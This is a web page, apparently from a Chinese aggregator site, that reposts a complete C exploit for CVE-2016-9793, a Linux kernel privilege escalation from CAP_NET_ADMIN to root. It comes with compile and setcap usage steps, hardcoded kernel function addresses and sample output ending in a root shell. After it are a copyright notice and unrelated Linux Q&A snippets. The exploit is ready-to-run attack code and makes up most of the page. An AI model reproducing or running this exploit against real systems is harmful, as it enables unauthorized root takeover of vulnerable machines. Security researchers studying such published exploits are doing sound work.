so_rcvbuf linux,CVE-2016-9793 CVE-2016-9793 Linux Kernel 3.11 < 4.8 0 SO_SNDBUFFORCE SO_RCVBUFFORCE...

2023-05-16

// CAP_NET_ADMIN -> root LPE exploit for CVE-2016-9793

// No KASLR, SMEP or SMAP bypass included

// Affected kernels: 3.11 -> 4.8

// Tested in QEMU only

// https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793

//

// Usage:

// # gcc -pthread exploit.c -o exploit

// # chown guest:guest exploit

// # setcap cap_net_admin+ep ./exploit

// # su guest

// $ whoami

// guest

// $ ./exploit

// [.] userspace payload mmapped at 0xfffff000

// [.] overwriting thread started

// [.] sockets opened

// [.] sock->sk_sndbuf set to fffffe00

// [.] writing to socket

// [+] got r00t

// # whoami

// root

//

// Andrey Konovalov

#define _GNU_SOURCE

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define COMMIT_CREDS 0xffffffff81079860ul

#define PREPARE_KERNEL_CRED 0xffffffff81079b20ul

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);

typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;

_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

void get_root(void) {

commit_creds(prepare_kernel_cred(0));

}

struct ubuf_info_t {

uint64_t callback; // void (*callback)(struct ubuf_info *, bool)

uint64_t ctx; // void *

uint64_t desc; // unsigned long

};

struct skb_shared_info_t {

uint8_t nr_frags; // unsigned char

uint8_t tx_flags; // __u8

uint16_t gso_size; // unsigned short

uint16_t gso_segs; // unsigned short

uint16_t gso_type; // unsigned short

uint64_t frag_list; // struct sk_buff *

uint64_t hwtstamps; // struct skb_shared_hwtstamps

uint32_t tskey; // u32

uint32_t ip6_frag_id; // __be32

uint32_t dataref; // atomic_t

uint64_t destructor_arg; // void *

uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];

};

// sk_sndbuf = 0xffffff00 => skb_shinfo(skb) = 0x00000000fffffed0

#define SNDBUF 0xffffff00

#define SHINFO 0x00000000fffffed0ul

struct ubuf_info_t ubuf_info = {(uint64_t)&get_root, 0, 0};

//struct ubuf_info_t ubuf_info = {0xffffdeaddeadbeeful, 0, 0};

struct skb_shared_info_t *skb_shared_info = (struct skb_shared_info_t *)SHINFO;

#define SKBTX_DEV_ZEROCOPY (1 << 3)

void* skb_thr(void* arg) {

while (1) {

skb_shared_info->destructor_arg = (uint64_t)&ubuf_info;

skb_shared_info->tx_flags |= SKBTX_DEV_ZEROCOPY;

}

}

int sockets[2];

void *write_thr(void *arg) {

// Write blocks until setsockopt(SO_SNDBUF).

write(sockets[1], "\x5c", 1);

if (getuid() == 0) {

printf("[+] got r00t\n");

execl("/bin/bash", "bash", NULL);

perror("execl()");

}

printf("[-] something went wrong\n");

}

int main() {

void *addr;

int rv;

uint32_t sndbuf;

addr = mmap((void *)(SHINFO & 0xfffffffffffff000ul), 0x1000ul,

PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE,

-1, 0);

if (addr != (void *)(SHINFO & 0xfffffffffffff000ul)) {

perror("mmap()");

exit(EXIT_FAILURE);

}

printf("[.] userspace payload mmapped at %p\n", addr);

pthread_t skb_th;

rv = pthread_create(&skb_th, 0, skb_thr, NULL);

if (rv != 0) {

perror("pthread_create()");

exit(EXIT_FAILURE);

}

usleep(10000);

printf("[.] overwriting thread started\n");

rv = socketpair(AF_LOCAL, SOCK_STREAM, 0, &sockets[0]);

if (rv != 0) {

perror("socketpair()");

exit(EXIT_FAILURE);

}

printf("[.] sockets opened\n");

sndbuf = SNDBUF;

rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUFFORCE,

&sndbuf, sizeof(sndbuf));

if (rv != 0) {

perror("setsockopt()");

exit(EXIT_FAILURE);

}

printf("[.] sock->sk_sndbuf set to %x\n", SNDBUF * 2);

pthread_t write_th;

rv = pthread_create(&write_th, 0, write_thr, NULL);

if (rv != 0) {

perror("pthread_create()");

exit(EXIT_FAILURE);

}

usleep(10000);

printf("[.] writing to socket\n");

// Wake up blocked write.

rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUF,

&sndbuf, sizeof(sndbuf));

if (rv != 0) {

perror("setsockopt()");

exit(EXIT_FAILURE);

}

usleep(10000);

close(sockets[0]);

close(sockets[1]);

return 0;

}

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

so_rcvbuf linux,CVE-2016-9793 CVE-2016-9793 Linux Kernel 3.11 < 4.8 0 SO_SNDBUFFORCE SO_RCVBUFFORCE... 的相关文章

  • 如何在 Linux 中使用单行命令获取 Java 版本

    我想通过单个命令获取 Linux 中的 Java 版本 我是 awk 的新手 所以我正在尝试类似的事情 java version awk print 3 但这不会返回版本 我将如何获取1 6 0 21从下面的Java版本输出 java ve
  • gdb 错误 - 文件不是可执行格式:无法识别文件格式

    我正在尝试使用 gdb 调试某个名为 xdf 的程序 但是当我运行 gdb xdf 时 出现以下错误 home nealtitusthomas X ray astronomy heasoft 6 24 x86 64 pc linux gnu
  • 如何在 Linux x86_64 上模拟 iret

    我正在编写一个基于 Intel VT 的调试器 由于当 NMI Exiting 1 时 iret 指令在 vmx guest 中的性能发生了变化 所以我应该自己处理vmx主机中的NMI 否则 guest会出现nmi可重入错误 我查了英特尔手
  • 使用命令行将 MediaWiki 维基文本格式转换为 HTML

    我倾向于编写大量文档 因此 MediaWiki 格式对我来说很容易理解 而且比编写传统 HTML 节省了我很多时间 然而 我也写了一篇博客 发现一直从键盘切换到鼠标来输入正确的 HTML 标签会增加很多时间 我希望能够使用 Mediawik
  • Linux、ARM:为什么仅当启动时存在 I2C GPIO 扩展器时才创建 gpiochip

    在 imx6sx 硬件平台 NXP 嵌入式 ARM 上使用 Linux 3 14 52 问题是设备树中指定的 PCF8575 I2C GPIO 扩展器不会实例化为 sys class gpio 结构中的设备 除非它们在内核启动期间存在 这些
  • 如何从 Linux 的 shell 中删除所有以 ._ 开头的文件?

    确实如标题所示 我已将许多文件从 Mac 复制到 Raspberry Pi 这导致了许多以前缀开头的多余文件 我想删除以以下开头的文件夹中的每个文件 我该怎么做 尝试类似的方法 cd path to directory rm rf 或者 如
  • perf stat中的cycles注释是什么意思

    8 014196 task clock 0 004 CPUs utilized 204 context switches 0 025 M sec 32 cpu migrations 0 004 M sec 0 page faults 0 0
  • 如何通过代理将套接字连接到http服务器?

    最近 我使用 C 语言编写了一个程序 用于连接到本地运行的 HTTP 服务器 从而向该服务器发出请求 这对我来说效果很好 之后 我尝试使用相同的代码连接到网络上的另一台服务器 例如 www google com 但我无法连接并从网络中的代理
  • 为 Linux 安装 R 包时出错

    我试图在 R 3 3 上安装一个名为 rgeos 的包 但是当我输入 install packages rgeos 但它返回给我以下错误 其他包也会发生同样的情况 但不是所有包 gt installing source package rg
  • 如何从linux命令行运行.exe可执行文件? [关闭]

    Closed 这个问题不符合堆栈溢出指南 help closed questions 目前不接受答案 我在 Windows 中有一个 abc exe 可执行文件 我可以使用 DOS 命令提示来执行此应用程序 并为其提供一些运行时变量 我想从
  • 无法仅在控制台中启动 androidstudio

    你好 我的问题是下一个 我下载了Android Studio如果我去 路径 android studio bin 我执行studio sh 我收到以下错误 No JDK found Please validate either STUDIO
  • 套接字:监听积压并接受

    listen sock backlog 在我看来 参数backlog限制连接数量 这是我的测试代码 server initialize the sockaddr of server server sin family AF INET ser
  • 如何查明 Ubuntu 上安装了哪个版本的 GTK+?

    我需要确定 Ubuntu 上安装了哪个版本的 GTK 男人似乎不帮忙 这个建议 https stackoverflow com a 126145 会告诉您安装了哪个 2 0 的次要版本 不同的主要版本将具有不同的包名称 因为它们可以在系统上
  • 如何获取 linux 实用程序 tail 的源代码?

    这个命令确实非常有用 但是我可以在哪里获取源代码以查看内部发生的情况 thanks tail 实用程序是 Linux 上 coreutils 的一部分 源压缩包 ftp ftp gnu org gnu coreutils coreutils
  • 如何使用AWK脚本检查表的所有列数据类型? [关闭]

    Closed 这个问题需要多问focused help closed questions 目前不接受答案 在这里 我正在检查表中第一列的数据类型 但我想知道AWK中表的所有列数据类型 我尝试过 但只能获得一列数据类型 例如 Column 1
  • 无法执行'x86_64-conda_cos6-linux-gnu-gcc':没有这样的文件或目录(pysam安装)

    我正在尝试安装 pysam 执行后 python path to pysam master setup py build 这个错误的产生是 unable to execute x86 64 conda cos6 linux gnu gcc
  • Inotify linux 监视子目录

    是否可以以这种模式监视目录 storage data usernames Download gt storage data Download 我需要监视每个用户的下载文件夹中是否进行了更改 也许我需要创建所有路径的列表 将其放入数组中 并在
  • 如何在Python中独立于语言安装(linux)获取用户桌面路径

    我找到了 如何找到用户桌面的路径 的几个问题和答案 但在我看来它们都已失效 至少我找到的那些 原因是 如果用户安装的 Linux 不是英语 他或她的桌面很可能位于除 Desktop 例如 对于瑞典语 我相信它是在 Skrivbord 谁知道
  • 如何让“grep”从文件中读取模式?

    假设有一个很大的文本文件 我只想打印与某些模式不匹配的行 显然 我可以使用egrep v patter1 pattern2 pattern3 现在 如果所有这些模式都在一个文本文件中怎么办 最好的制作方法是什么egrep从文件中读取模式 g
  • 劫持系统调用

    我正在编写一个内核模块 我需要劫持 包装一些系统调用 我正在暴力破解 sys call table 地址 并使用 cr0 来禁用 启用页面保护 到目前为止一切顺利 一旦完成 我将公开整个代码 因此如果有人愿意 我可以更新这个问题 无论如何

随机推荐